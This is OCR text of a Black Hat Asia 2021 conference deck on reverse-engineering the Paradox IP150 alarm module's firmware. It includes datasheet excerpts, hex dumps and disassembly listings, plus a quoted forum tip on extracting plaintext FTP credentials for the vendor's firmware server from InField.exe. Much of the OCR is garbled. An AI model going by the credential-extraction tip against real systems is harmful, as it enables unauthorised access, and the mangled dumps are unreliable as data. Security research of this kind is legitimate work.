bla‘n?:k hat

ASlA 2021
May 5-7, 2021

BRIEFINGS

Alaam.DISARM - Remotely Exploiting and Disarming
Popular Physical Security System from Public
Intemet

By Omri Ben-Bassat

#BHASIA @BLACKHATEVENTS



blgc’zk hat

ASIA 2021

« Was working on another research focused on IwlP.

« open-source TCP/IP stack designed for embedded systems.

* Found ~40k devices on Shodan by ‘Server’ http header.

* Almost 90% of which were “IwIP/1.4.0" — interesting coincident...
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New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor
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Try out the new beta website! Help Center
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Description

The IP150+ Internet Communication Module provides access
to Paradox systems. With the IP150+, connecting to a system
is possible with Insite GOLD application, PC software for
programming, upgrade and monitoring, as well as reporting to
central station by connection to Paradox receivers.

The IP150+ can also be configured to work with closed
networks, without internet connections.

The IP150+ module includes two outputs that are remotely
configured through the web interface or the Insite GOLD app.
They can be used to control lights, heaters, and such.

The IP150+ offers fail-safe upgrades; it will fall back to the
previous version should any issues arise during the upgrade
process

The IP150+ is designed with a space saving clip-on, perfect for
rapid, no-screw installation and includes LED status for proper
operation.

Easy Clip-on Installation
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IP150+ Installed in a Plastic Box

TIP150+-G2K Rev 00 - Printed in Canada 01/2020
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P AR AD O X PANEL ——>

100 renew. LINK O o2

USER(] I ImE! -
INTERNET() RX / TX(O «c -

-
IP150+ PCS ——p

Features

v

Central station reporting via IPR512 or IPRS-7

Provides connectivity to Insite GOLD, BabyWare, NEware
or InField to access your system through the internet

v

DHCP connectivity with no configuration
Remote firmware upgrades with a fail-safe mode
Sends notification and alarm system events via email

Internal diagnostic logs via Insite GOLD app

v v v v v

SSL support for sending secured email messages, via a
secure sockets layer; a popular protocol for encrypting
information over the internet

v

Easy installation: no screws needed, a built-in clip for
mounting in a metal box

Compatible with Spectra SP series, MG5000 / MG5050 /
MG5075, and EVO control panels

v

Specifications

| EVO, Spectra SP, MG5000,

Panel Compatibility MG5050, and MG5075

Upgrade Software InField
IP Receivers IPR512 or IPRS-7
Encryption MD5 and RC4

Current Consumption 100 mA

| 13.8 Vdc, supplied by the
| panel serial port

109x2.7x22cm
| (4.3x1.1x09in.)

Input Voltage

Enclosure Dimensions

Certification CE, EN 50136 ATS 5 Class |l

Ap
c" °+
KEEPING

N7

paradox.com

Digiplex EVO, Magekian, Spectra, and Spectra SP are trademarks o registered rademarks of Paradox Security Systems Ltd. or its affiiates in Canada, the United States and/or other counties. One or more of the folowing US patents may
apply: 7,671,729.8,106,764 and ofer pending patents may apply. Canadian and international patents may also apply. All rights reserved. Spedifications may change without prior notice. © 2020 Paradox Security Systems Ltd.
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rln— Field Paradox U

als

P A R A D O X°

Step 1: Select Communication Settings About...

serial | Intemet | GPRS | Multi-Serial StaticIP |

“for old IP versions or IP at boot”
IP Address Port IP password

[10 - 42 - 0 - 3 “10000 -] X

EEEARE

Step 2: Select Device(s)

(3} Connect | & | | @, \ioice ID

Product (Family) | Firmware ver | s Bootloader Ver | Status

Step 3: Select Firmware

J www.paradox.com

Step 4: Transfer

—} ENTS

One or more: of the following US patents may apply; 7046142, 6215399, 6111256, 6104319, 5520259, 5886632, 5721542, 5287111, 5119069, 5077545 and RE39406.
Canadian and international patents may alzo apphy.
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P A R A D O X°

Step 1: Select Communication Settings About..
Serial | Internet | GPRS | Mutti-Serial Static P |

“for old IP versions or IP at boot”

IP Address Port IP password

[10 - 42 . 0 - 3 “10000-] X

HERRES

Select Firmware(s) To Download @
Step 2: Select Device(s)
- [~ Selectall products ... —
(3) Connect | & | @, Voice ID
Product & Q| Description | \fersion | Language |
Product (Family) | Firmware v — — , :
[ nv7a0 Digital Qutdoor Dual Side-View Detector with 4 xDu... . 2.52 ﬂ English ﬂ Gt
[ sr120 Indoor Wireless Siren with Built-in Strobe Light 1.02 ﬂ English ﬂ
[ pcs2s0 GPRS/IGSM Communicator Module 410 ﬂ English ﬂ
IP150 IP150 Internet Module 420 R4 Engish |
[ EvoHD EVO HD Control Pane| 685 | NA =]
[ pcs2s0c GPRS/GSM Communicator Module 410 j English j
[T nvasmx Wired Qutdoor / Indoar Window and Sliding Door Du... 1.04 j MIA j
[ K641 32-Character Blue LCD Keypad 255  »| Belgian =]
[ Ke41LxK 32-Caracter Blue LCD keypad with built-in transceiver 1.74 j Belgian j
O KazLep 32-zone Hardwired LCD Keypad Module 611 ~| Belgian ~| E‘
[ KazLx 32-zone Hardwired LCD Keypad Module with Built-in... 1.10 j Belgian ST
1 1irann LIniversal Converter 110 - s -l -
& Download | X Cancel |

Step 3: Select Firmware

www.paradox.com
2 4 | @ GetLatestFiles...

Step 4: Transfer

ENTS

One or more of the following US patents may apply; 7045142, 6215399, 6111256, 6104319, 5820258, 5886632, 5721542, 5287111, 5118069, 5077549 and RE38406.
Canadian and international patents may also apphy.
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Entropy

Entropy

200000 200000 400000
Offset

0 100000
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Search View

IP150 v4.20.008.puf

Format

6F
20

LU

46

oo

78
55
20

6C
00

1A 01

Scripts  Templates

Debug

Tools Window Help

YhELDE 2B 8

Paradox File: Pa

radox Update Fil
e (PUF Format)..

V. ...

....... Bam.gEOOC
y OR:E{WT2(@. 5A
"gaBA’ . ...c.9
..20B

JE.V.EME<#<E- (
D+ 2-.2.073.7%
. AL 3EfR<«]
,B.£B, "W.B$r'E. 1
GE'S.0A!.vH5.Ag
Z1B. |\CZ.¥,,.
(@.5Ab' faDA" ' .
..C.98GE+NuI%-A+
..20Be.E.V.BME<#
<E- (CiD%'&-.2.0
13.72*%", 1@, LA, 3
fR<wj ,D.£B, 'W.0%
r'E.i'ée‘'s.BAl.v
HS.AQZ1R. |\CZ.¥,
. iW" (. 5Ab" 9apA
"L . ..C.98GE+HL
i%-A+..20Be.E.V.
BMé<#<E- (C3D: &
-.2.013.2%" 1.
.A.31fR<«j,0.£B,
‘W.O$r!E.i!éE'S.
OA!.vH5.AgZ1R. |\
CZ.¥,.iW 2 (e.5Ap
"N3pA . L ..c.98
GE+AuI%-A+..20UBe
E.V.BME<#<E- (C
PV -

W2

&-.2.013.2%"
. AL 3EfR<«],
©.£8, 'WEDD. rwii. «
..i0+"9.8--5m Ea
bpAfE£] ¥EZ{&A WMx
c3Em.0i. §%MPc_&d
ji.f.ar .| 2. 707
aeé..éc.fl.°., ."y2
BRODiY;Wh. [, 0.,
Ep..dX-p@Isé. 1phY
rU6%A_878YN+udis
mfALUF7Yya; . Ei. .
Ua48k&. . '}.p.[%
Uev@tqogo.X[.&2'
AR.Zlo%-0_"
t{..gém.a'ii\;ffl-ﬁ.
°'3.+BACVi‘0...€
of), .PAOKIHUOGTIE®
. _iDUpAIAAF . .¥y0
%52} . AMVESZON..
s Zeca@yAUiNBOS«"

T

50

CEReL™

61
61
20

72
64
pL:
00
40
01
00
00
00
01
6E
2F
4D
00
FF
72
00
05

61
6:
50
00
00
00
00
01
00
00
65
49
6F
Ad
07
65
01
AA
E2
F7
1D
B1
8C
A3
91

1B |7

35
a1

D9
AD
2A
AB
L
C3
88

64
78
20
00
00
00
00
00
07
00

6F
20
46
00

00

78
55
20
00
6C
00
01

v 01

00
49
4D
0A
6C
01
FF

. 00

010 Editor - /home/omri/Documer

©.£B, "W,

Paradox File: Pa
radox Update Fil
e (PUF Format)..

. OR:E{W"2 (.54
"MaDAT' . ...c.9
E ..20B
LE.V.BME<#<E- (
D+ 8-.2.013.7%
“ @Y. AL 3EfR<«]
,B.£B, "W.B$r'E. 1
&E'S.0A!.vH5 . Ag
Z1B. |\CZ. ¥,
(@.5Ab" faDA" ' .

..C.98GE+NuI%-A+
..2UBe.E.V.BEME<#
<E- (C2D%'e-.2.0
13.7*%", 1@, .A. 3%
fR<«j ,D.£B, 'W.0%
rlE.i'ée's.BAl.v
H5.AQZ1R. |\CZ.¥,
.iW" (. 5Ab" YDA
.. ..C.98GE+AL
i%-A+..20Be.E.V.
BMé&<#<E- (C3D: &
-.2.013.2%" 1.
.A.31fR<«j,0.£B,
‘W.G$r!E.i!éE'S.
OA! . vH5 . AgZ1R. |\
CZ.¥,.iW 2 (e.5Ap

W2

"aDAT' . ...c.93
GE+flui%-A+. . 20Be
.E.V.RME<#<E- (C

2D+ &-.2.8'3.2*"
G AL3ER<e],
y.B)a. .
S<ip-29°, ,— 79BE
fahfE£]¥EZ {&n wMx
CAEAETIiAL?MOC_éE«
%Z. 1A% Ba€ A U™
U.I%a. . De. XENY*
¥00.rk;UC-[£?".+
&f..., . ¥%p.™1é&. +Eh-
iEG" . x8.0iN}.SaX
WARS.7.2+;M.3. .
.laaf0.6" !} [0
. Pwy edHE . X\OB2 .
26.0"i%i>N"% <0
«0.Mk&M:s3iBi E?
H.802002 .@ &.™.{
vC.5 Mud?xUA. OEY
b@in+2A6U0FIA - vO
f}A%gM. °6\6€31iNu
élezelya. {N3*.«5
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File Edit

Search View

Format

E b B EF

50
72

72
64
28
00
40
01
00
00
00
01
BE
2F
4ap
00
FF
72
00
05

Scripts

YRABO AEB S | §

Templates

Debug

Tools

Window Help

Paradox File: Pa

radox Update Fil
e (PUF Format)..

....... gae. EEDOC
1:.9R;E W 2(@.5A
b'qapA . ...c.9
8GE+Nui%-A+. .20B
®.E.V.BME<#<E- (
CiD+ &-.2.0'3.2%

1EY. A 31fR<«]
JB.£B, 'W.B5r 'E. 1
éE'S.0A!.vH5.Aqg
1B, [\CZ.¥,. W2
(m SAp" ﬂaD%".

. €. 98GE+NuI%-A+

.20Be.E.V.BME<#
<E- (CiD:"é-.2. 0

I‘\Ir

LAL3E
hEB, W.D$
riE.i}éE'S.0Al. v
H5.AqZ1R. | \CZ.¥,
HY 1(m 5Ap" ﬂaDA
". .€.98GE+Hu
I%- A+ .2UBe.E.V.
BMé<#<E- (CZD: &
-.2.073.2*", 1Eu.
A 3tfB<«j,0.£B,
$riE.i!'éE’S.
6ﬁi vH5.AgZ1B. |\
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- .C.9d
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G AL 3EFR<«],
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..10+"9.8--5m ®a
bpﬁfE]Ve7{e “wilx
cAEm. i . 5%MBc_&0

ji.f. a'.|f21 707
aé..éc.N.° “y3
éﬁoolv, t.[,xa.,
Ep..dX- p@iné. 'PhY
rUd%A_az8YN= LOL»
mfALUF?Vva
Uadeké. *."}. D [%
Uovmlqoco X[.&2"
AR.ZU0%-0_"_.~«

«{..53M.«jiyu.E
o' . +8OCVIT0. . .£
o0. . PAGKIHUOGIE

.1DUpAIRAF . . ¥yU
ko’l -t AMY G SZ0N...

ZECEByAUlNkDSc
CI; bU €yiCoKm. é
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]
) |00
) |00 O
) |00
00

) |07
) |00

74
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20
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A
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% £5

010 Editor - fhome/omri/Documer

Paradox File: Pa

radox Update Fil
e (PUF FDIHctJ

15.%R:E{W" ’(m S5A
br¥apA’ . ...c.9
AGE+NuI%-A+. .20B
®.E.V.RME<#<E- (
CiD+ &-.2.0"3.2%

1E. A, 31 fR<«]
,B.fB, "W.03r'E. 1
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VCZ. ¥, . W2
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nezmogus commented on Jun 18, 2018 Q@ -

Bonus pack 1.

If anybody need any firmware for Paradox devices, you can download it directly from Paradox FTP server. Search for
*.paradox.com" string (with dot in front) in InField.exe file and ignore everything who starts with www. You will find domain, and few
bytes before this string you will find username and password in plain text.

Decrypted firmware files for those, who want play with reversing engineering decrypted firmware.zip.

To make life easier, there is cleaned firmware versions (all know for me embedded files are extracted):
cleaned.ZIP

Maybe someone will find, how to downgrade bootloader from 2.13.001 to 2.12.000. I'm guessing, that bootloader won't downgrade
with my method and it causes update process on each IP150 restart.

If anybody interested in more detailed firmware file structure or communication protocol with paradox upgrade server, let me know. |
will write what i know.
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HEADER_IP150

ip150 default.puf

upgrade.insightgoldatpmh.com: 18080
:020000040800F2:100000007034012005E90008E9E60008D1E800085D:10001000EDESOOOBSEFECOOOBF1EGOOOB0000000049:1000200000000000000000
S8FDESOOO801EAOOOBFF:1000500005EA000809EA00080DEADOO811EADOOBAC: 1000600015EA000819EADOO81DEADDOBZ1EAOOO85C: 1000700025EADD0O829
ADDOB4DEAOOOBS1EAOOOBOC: 1000A00B55EADDO859EAOOOB5DEADDOBO1EAOOO81C:1000B000O65EADOOBO9EADDOBODEAOOOBTIEADDOBCC:1000CO0OTSEADD
899EAOOOBSDEAODOBALIEADODOBST : 1000FO0OASEAOOOBASEADDOBADEADOOBBIEAOOOBEBC: 10010000B5EADODOBBO9EADODOBBDEAOOOBCIEADOOR3B:10011000C5
ADODOBESEAOOOBEDEAOOOBFIEAOOOB4B:10014000F5EAOOOBFOEAOOOBFDEAOOOBSO1EBOOO8FA:1001500005EB000B09EBO00080DEBOOO811EBOOOBAT 100160
O35EBOOOB39EBOOO823:103CO00OFFFFFFFFO213022305201357FFFFFFFFF3:103C1000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB4: 103C2000FFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF84:103C50000000000000000000000000000000000064:103C60000000000000000000000000000000000054:103C7000000000
000000000000000000000000024 :103CA0000000000000000000000000000000000014:103CE0000000000000000000000000000000000004:043CCO0OOOO
ODFFBA1:10402000C00B0068008801FO59FACOF3032080B289:10403000616811EB8000DFFBAC1BO8B6ODFFBADOEE3:104040000068008801F04AFACOF303
B1FE22900F6:10407000DFFB86COB0O68103001FO5FFCO0280FD1F6:104080005FFO704001FO3BFAOS005FFO604001F026:1040900036FADFF84C1BO96809
27FFO030110FBD4:1040C00001F109B2200001FOF2FAOO2803D020002B:1040D00001FO036FBEBE1IDFFEBOCOBOO6B00B801F023:1040E000FDFSDFFB8001B09
OFAFSDFFBDB81A096893:104110004860DFFBD41A0860DFFBCEB0AD0688068D01:1041200001FOEDFSDFFBBC1AD9688860DFFBBC1AG5:104130000860DFF8B0O
ODFFB981A087ODFFB8900AF0:1041600000780321084201D0012000E000202189CD:104170004018DFF8801A08800021DFFB7COAO56803:1041800001E029
2ZEDD16868DFF8342A1268D268EC:1041B0009042E6D12868DFF8282A126812699042F6:1041CO00DFD1002908DOEB6BCB60DFFB2COA006851:1041DOOOES
809888842F5D1288BDFFBEB19096831:1042000049888842EED16868DFFB8D4190968C9681E:104210008842E7D12868DFFBCB1909680969884227:104220
023D00002809000268002A06D00268DFFBCF:1042500090391B681B699A42EFD1028BDFF88439D1:104260001B685B889A42E8D1002908D0C268CA60FE: 10
29000DFF8700900210160DFFB868092189818158:1042A000DFF8600961688160DFF858094460DFF871:1042B0005409DFF8301909680161DFF84C0900216
:1042E000D5F88460B04705E00023EAG6F290000207C: 1042F00001FOFBFF40B2002826D10020E867DFFB7F:1043000010090560280000F0D1F97FFO04014
FB20:10433000902090472900DFFB8CO0802F0B4F8290067:10434000022002F06AF973E0200001FOFSFSAEED12:10435000DFFB8B8080078C00609D52900D0
2807DOBF:10438000B5FB6C2029006869D5F88030984700EOBE:104390000020DFF87408006800282BDODFF85008F0:1043A0000078000709D5DFFB860080
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WIKIPEDIA

The Free Encvelopedia

Main page
Contents
Current events
Random article
About Wikipedia

[T,

>4
HEADER_IP150

Article  Talk Read Edit Wiew history

Intel HEX

From Wikipedia, the free encyclopedia

Not to be confused with Intel hexadecimal notation.

a Mot |

n
B

Intel hexadecimal object file format, Intel hex format or Intellec Hex is a file format that conveys binary information in ASCII text form.[! It is commonly used for programming microcontrollers, EPROMSs, and other types of
programmable logic devices. In a typical application, a compiler or assembler converts a program’s source code (such as in C or assembly language) to machine code and outputs it into a HEX file. Common file extensions

used for the resulting files are .HEX™ or .H86.?1%] The HEX file is then read by a programmer to write the machine code into a PROM or is transferred to the target system for loading and execution./I]

B1FE22900F56:10407000DFF86COBOO68B103001FO5FFCOD28OFD1F6:104080005FFO704001FO3BFAOS005FFO604001F026:1040900036FADFF84C1E096809
27FFO030110FBD4:1040C00001F109B82200001FOF2FAOD2803D0O20002B:1040D00001FO36FBEBEIDFFE80COBO0OGBO0BB01F023:1040E000FDFODFFE0O1BOY
OFAFSDFF8DB1A096893:1041100048600FF8D41A0860DFFBCE0A00688068D1:1041200001FOEDFODFFB8BC1AOO688860DFF8BC1AD5:104130000860DFF8EO
ODFF8981A0870DFFE900AFO:1041600000780321084201D0012000E000202189CD:104170004018DFF8801A08800021DFF87COAD56803:1041800001E029
2ZEDD16868DFF8342A1268D268EC:1041B0009042E6D12868DFFB282A126812699042F6:1041C000DFD1002908DOESGBCE60DFF82COA006851:1041DOOOES

809888842F5D1288BDFFBE819096831:1042000049888842EED16868DFF8D4190968C9681E:104210008842E7D12868DFF8CB1909680969884227:104220
023D0002809D00268002A06D00268DFFEBCF:1042500090391E681B699A42EFD1028BDFF88439D1:104260001B685B889A42EBD1002908DOC268CA60FE: 10
29000DFF8700900210160DFF868092189818158:1042A000DFF8600961688160DFF858094460DFF871:1042B0005409DFF8301909680161DFF84C0900216
:1042E000D5F88460B04705E00023EABF290000207C:1042F00001FOFBFF40B2002826D010020E867DFFB7F:1043000010090560280000F0D1F97FFE04014
F820:10433000902090472900DFF8CO08B02FOB4F8290067:10434000022002F06AF973E0200001FOF9F9AEED12:10435000DFF8BBO80OTBCO0609D52900D

2807DOBF:10438000B5F86C2029006869D5FBB030984700EGEBE: 104390000

#BHASIA

@BLACKHATEVENTS



blcgc’:k hat

ASIA 2021

>4
HEADER_IP150

p X

Fn!

: 1@F ]

1 F File example |[edit]
-RVS

ip150_default.puf This example shows a file that has four data records followed by an end-of-file record:

upgrade.insightgoldatpmh.com: 18080

:020000040800F2: 100000007034012005E90008E9E60OOBD1E800089D: 1000

8FDE90RO801EAOOOSFF:1000500005EA0008A9EAOOASODEAPOOS11EADPOBAC -10010000214601360121470136007EFEQ9D2190140

\OOO84DEAOOOSS51EAROOBEC: 1000APOO55EAROAE59EADOOB5DEAOOOS61EAOOOY

899EAAGO8IDEAOOOSALIEAGOOSST : 100OFAOOASEADDASAIEAPOOBADEADABSB1E :100110002146017E17C20001FF5F16002148011928

L R I L T R T L L R R L T L L L Tt T L el | - 10012000194E79234623965778239EDA3FO1B2CAAT

035EBOOOB39EBAAAB23:103CAAOOFFFFFFFFO213022305201357FFFFFFFFF3: :100130003F0156702B5E712B722B732146013421C7

FFFFFFFFFFFFFFFFFFFFF84:103C50000000000000000000000000000000000 (EERs1s1:101: ¢ 01d 2

ﬂﬂﬂﬂﬂﬂﬂﬂ0666060066066660024‘103Cﬁﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂ'

.....

BlFEEEQEIEI F6: lEI4EI?EIGIEIDFFHGC@B@GDHI@?:EIEIlFEISFFCEIEIEHEIFDlFtr 104@5@@0 D Start code D Byte count [:l Address D Record type D Data D Checksum
27FFO030110FBD4:1040C00001F109B82200001FOF2FAOD2803D0O20002B: 10401

OFAFSDFFBDE81A096893:104110004860DFF8D41A0860DFF8CBOAOO6B8068D1: ™ P e I —— e — -
ODFF8981A087ODFFE900AFD:1041600000780321084201D0012000E000202189CD:104 1?@@@4@15[}FFEBGIH@HHGG@EIDFFH?CEIHEISDHEI?: 1041800001E829
2ZEDD16868DFF8342A1268D268EC:1041B0009042E6D12868DFFB282A126812699042F6:1041C000DFD1002908DOESGBCE60DFF82COA006851:1041DOOOES
809888842F5D1288BDFFBE819096831:1042000049888842EED16868DFF8D4190968C9681E:104210008842E7D12868DFF8CB1909680969884227:104220
023D0002809D00268002A06D00268DFFEBCF:1042500090391E681B699A42EFD1028BDFF88439D1:104260001B685B889A42EBD1002908DOC268CA60FE: 10

29000DFF8700900210160DFF868092189818158:1042A000DFF8600961688160DFF858094460DFF871:1042B0005409DFF8301909680161DFF84C0900216
:1042E000D5F88460B04705E00023EABF290000207C:1042F00001FOFBFF40B2002826D010020E867DFFB7F:1043000010090560280000F0D1F97FFE04014
F820:10433000902090472900DFF8CO08B02FOB4F8290067:10434000022002F06AF973E0200001FOF9F9AEED12:10435000DFF8BBO80OTBCO0609D52900D
2807DOBF: 1@435@@@85FHDCE@EQ@@GHGQDSFHHGEGQH4?@GE@BE 1@439@@@@@2@[}FFHT4EIH@GDHEIEIEHEBDGDFFH SEIEIHFEI 1@43}-\@@@@@?5@@@?@9[} SDFFHGGGHG

#BHASIA @BLACKHATEVENTS
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>4

HEADER_ETHBOOT
CREIG
"hiiA® i
4 SNGXV
30=p a
h(“high
, -h-xk(@

it Home Documents PARADOX Firmware 4.42.002 payload _hmxk@\ @
"EHDI  h
@A =1 h
{.-1e]z2[4|6|<|B|B
upgrade.insightgoldatpmh.com: 10000

. upgrade.insightgoldatpmh.com
payload.bin payload. i_ﬁﬁm_defauli'pﬂf p
hex 208.67.222.222

porthttps=
sitename=
paradoxip?
portne=
"paradoxip!mac=
FOOTER_ETHBOOT
HEADER_IP150
FOOTER_IP150

>4

#BHASIA @BLACKHATEVENTS
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Bl Listing: payload.bin

i
f£Fram
// ram:00000000- ram: 0007 fff
i
assume spsr = 0x0 (Default)
FTR_DAT 000000041

FTR_DAT 00000000

0ooooEoE 7O 34 01 20 addr DAT 20013470

FTR_DAT 00000004

0O00EE04 03 e9 00 OB addr DAT_0B00e90%
DO0DOR0OE D oS 0O OB addr DAT_0B00eGe9

PTR_DAT 0000000c+1
PTR_DAT 0000000c+2
PTR_DAT 0000000C

#BHASIA @BLACKHATEVENTS
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Bl Listing: payload.bin

£

AForam

£ ram: 00000000- ram: 0007
£

assume spsr = 0x0 (Default)
FTR_DAT 000000041
PTE_DAT 00000060

0ooooEoE 7O 34 01 20 addr DAT 20013470

PTR_DAT 0000000442
PTR_DAT 00000004

0O00EE04 03 e9 00 OB addr DAT_0B00e90%
DO0DOR0OE D oS 0O OB addr DAT_0B00eGe9

PTR_DAT 0000000c+1
PTR_DAT 0000000c+2
PTR_DAT 0000000C

#BHASIA @BLACKHATEVENTS
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Figure 11. Vector table

Exception number IRQ number Offset Vector
255 239 IRQ239
0x03FC
Bl Listing: payload.bin 18 2 0x004C IRQ2
0x0048
! 17 IRQ1
£/ ram 0x0044
// ram:00000000- ram: 0007Ff 16 0 0X0040 IRQO
L 15 -1 Systick
0x003C
14 -2 PendSV
assume spsr = Ox0 (Default) 0x0038
PTR DAT 00000000+1 13 Reserved
FTR_DAT 00000000 12 Reserved for Debug

—_
—_

0O0REE0D 7O 34 01 20 addr DAT_ 20013470

—
© o

FTR_DAT 00000004

0oEO0E04 05 D 00 OB addr DAT_ 02002905

- N W ;0 3N @

-5 SVCall
0x002C
Reserved
-10 Usage fault
0x0018
-11 Bus fault
0x0014
-12 Memory management fault
0x0010

-13 Hard fault

0x000C
NMI

0ORO000E 9 ef 00 OB addr DAT_02800e5e9

PTR_DAT_0000000c+1
PTR_DAT_0000000c+2
PTR_DAT_00000G0C

0x0008
Reset

0x0
S Initial SP value
0x0000

#BHASIA

@BLACKHATEVENTS
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Bl Listing: payload.bin

dssUme spsr

0O0REE0D 7O 34 01 20

0oEO0E04 05 D 00 OB addr
0ORO000E 9 ef 00 OB

'
F4oram
A/ ram: 00000000- ram:; 0007

/f

= Ox0 (Default)

FTR_DAT 00000000

addr DAT_ 20013470

FTR_DAT 00000004

DAT_ 02002905
addr DAT_0B800eGeS

PTR_DAT_0000000c+1
PTR_DAT_0000000C+2
PTR_DAT_0000000C

0x4000 0000
O0x3FFF FFFF

0x2000 0000
Ox1FFF FFFF

plock 2
Peripherals

512-Mbyte
block 1
SRAM

Figure 11. Vector table

Exception number IRQ number Offset

255 239
0x03FC

0x004C

18
0x0048

0x2002 0000 . O¥3EEE EEEE_

Bocarvad

512-

0x0000 0000

block 0
Code

SRAM (16 KB aliased

by bit-banding) 0x2001 CO000 - 0x2001 FFFF

SRAM (112 KB aliased 0x2000 0000 - 0x2001 BFFF

by bit-banding)
5

Reserved 0x1FFF C008 - 0x1FFF FFFF
Option Bytes 0x1FFF C000 - 0x1FFF C007
Reserved 0x1FFF 7A10 - Ox1FFF 7FFF
System memory + OTP |Ox]FFF 0000 - O0x1FFF 7AQF
Reserved 0x10Q1 0000 - 0x1FFE FFFF
CCM data RAM .

(64 KB data SRAM) 0x1000 0BQO - 0x1000 FFFF

Reserved

Flash
Reserved |

Aliased to Flash, system
memory or SRAM depending
on the BOOT pins

0x0000 0000 - 0xO000F FFF

0x4000 7800 - 0x4000 FFFF

Vector
IRQ239
IRQ2
0x4001 0000
Reserved
0x4000 7FFF
APB1
0x4000 0000

ai18513f

741207

DS8597 Rev 9

7
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« SUCCESS!

* No operating system.

« Base address 0x08000000.

* Fetch (yet another) firmware from server - upgrade.insightgoldatpmh.com:10,0000.
e proprietary protocol.

* Encrypted data.

#BHASIA @BLACKHATEVENTS
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upgrade.insightgoldatpmh.com

Serial

#BHASIA @BLACKHATEVENTS
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0000EEEO 72 OO OO OO OO OO0 00 PO 00 OO 00 00 00 00 00 B0 I....... coecvnn.
000PER1O0 0O 0O OO OO OO OO 00 0 OO OO0 0O 00 00 00 00 B0  ........ ..econn.
00000020 00 00 00 00 72 T

000PEEEe 72 ff ©b 02 00 00 a9 6c 0O OO OO OO 71 09 88 86 r...... , S e

POPEEA1O0 00 20 02 14 0O 04 06 20 18 a4 3c 57 49 50 31 35 . ..... . .<WIP15

POEOEA20 30 20 00 0O 19 70 72 6f 64 2f 49 50 31 35 30 5f O ...pro d/IP150_

000OEA30 4c 41 54 45 53 54 2e 50 55 46 LATEST.P UF
POEOEO25 a5 11 00 30 71 09 88 86 a9 6¢c a4 9f b9 57 00 57 ...0q... .l...W.W
00000e035 2d -

POOPEO3A a5 12 00 34 00 03 3f a9 6c a4 3c Oa 3c 57 02 14 ...4..7. 1.<.<W..

POOOER4A 00 d5 o
P0PPEO36 a5 0d 00 36 71 09 88 86 a9 6c a4 3c 65 e YRS T

P0PEEA4AC a5 06 00 34 00 df sl
00PEEA43 a5 07 04 11 00 00|eb 61 9c 8d 67 c9 d5 d5 c7 31| ....... S s
00000053 [9b 05 aa 52 3b eb a1 57 88 b2 28 9¢c 1d 35 c2 fe| ...R;..W ..(..5..
POPEEO63 |27 b6 €2 dO c5 92 27 18 ab 15 8f 14 63 81 39 fo| '..... S S
00eeEO73 |47 c8 f7 d1 75 cc 25 96 c1 2b Pa 05 32 d9 42 9¢c| G...u.%. .+..2.B.
0000ee83 |18 ca 1d 56 15 df 4d ea 3c 23 3c 45 2d a0 28 43| ...V..M. <#<E-.(C
00EOEO93 | 9e 44 bl 60 e8 a S o I 5 DR I 51 < 8
0OPROAA3 | ©3 21 8c b5 14 1 Encrypted Firmware ia2c| .!...... Seaunts]:
0000EOB3 | a9 07 a3 42 82 9 f a6| ...B..W. .$r.....
000000C3 | e9 c9 91 53 Oe d4 41 21 16 76 48 35 12 c3 71 8e| ...S..A! .vH5..q.
000000D3 |31 df 1b 7c 5c a2 5a 15 a5 84 14 al 57 88 b2 28| 1..|\.Z. ....W..(
POPOROE3 [ 9c 1d 35 c2 fe 27 b6 e2 dO c5 92 27 18 a® 15 8f| ..5..'.. ...'....
POOPEOF3 |14 63 81 39 fO 47 c8 f7 d1 75 cc 25 96 c¢1 2b Pa| .c.9.G.. .u.%..+.

#BHASIA @BLACKHATEVENTS
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elolelelolelolo]

72 00 0O OO 0O OO 0O

00 00 00 OO0 PO 0O 0O

00000000:
0pe0e010:
00000020:
00e00030:

6467
7820
5546

6c65
01a4
ffol
oooe

@0eb 6

Paradox File: Pa
radox Update Fil
e (PUF Format)..
"""" e

6c65
7465
6d61

ernet Module...T
CP/IP...... TCP/I
P Modules.......

00000010 00 00 00 0O 00 00 00 00 00 00 00 00 00 00 00 00  ........ ........  SCCGGCHGIEECYACESCTIRCTE Y SIS LY AT ER LY A RN
00000020 00 00 00 00 72 4T eba1
00000ERe 72 ff Ob 02 00 00 a9 6¢c 0O OO OO OO 71 09 88 86 r...... 9227 18a0 158f 1463 8139 . ..... .....
00000010 00 20 02 14 00 04 06 20 18 a4 3c 57 49 50 31 35 . ..... . .<WIP15 cc25
00000020 30 20 00 00 19 70 72 6f 64 2f 49 50 31 35 30 5f O ...pro d/IP150_ 5 dfad
00000030 4c 41 54 45 53 54 2e 50 55 46 LATEST.P UF =Ly
00000025 a5 11 00 30 71 09 88 86 a9 6c a4 9f b9 57 00 57 ...0q... .l...W.W 17c6 1733 B783 df3c ab6al ..l......
00000035 2d : 2 3;21
0000003A a5 12 00 34 00 03 3f a9 6¢c a4 3c Ga 3c 57 02 14 NI e - o ea
0000004A 00 d5 i
00000036 a5 0d 00 36 71 09 88 86 a9 6¢ a4 3c 65 i o Bl 1.<e a1 7cs frdl 15ce 2596 c1ob | e onc
0000004C a5 06 00 34 00 df -y
00000043 a5 07 04 11 00 00[eb 61 9c 8d 67 c9 d5 d5 c7 31| ....... N [P, |
00000053 [9b 05 aa 52 3b eb a1 57 88 b2 28 9¢c 1d 35 c2 fe| ...R;..W ..(..5..
00000063 |27 b6 €2 do c5 92 27 18 a0 15 8f 14 63 81 39 fo| '..... ', .c.9.
00000073 |47 c8 f7 d1 75 cc 25 96 c1 2b Ga 05 32 d9 42 9c| G...u.%. .+..2.B
00000083 |18 ca 1d 56 15 df 4d ea 3c 23 3c 45 2d a0 28 43| ...V..M. <#<E-.(C
00000093 | 9¢ 44 bl 60 e8 a ‘a 93| .pD.'...2 ...3.Z*.
0OAEOAA3 | ©3 21 8c b5 14 1 Encrypted Firmware ia 2c| .!...... Scauts);
00000OB3 | a9 07 a3 42 82 9 f a6 B..W. .$r.....
000000C3 |e9 c9 91 53 Ge d4 41 21 16 76 48 35 12 c3 71 8e S..A! .VH5..q
000000D3 | 31 df 1b 7c 5c a2 5a 15 a5 84 14 a1 57 88 b2 28| 1..|\.Z W. . (
0000OOE3 | 9c 1d 35 c2 fe 27 b6 e2 de c5 92 27 18 a® 15 8f B L
00OEOOF3 |14 63 81 39 fO 47 c8 f7 d1 75 cc 25 96 c¢1 2b Ga| .c.9.G.. .u.%..+

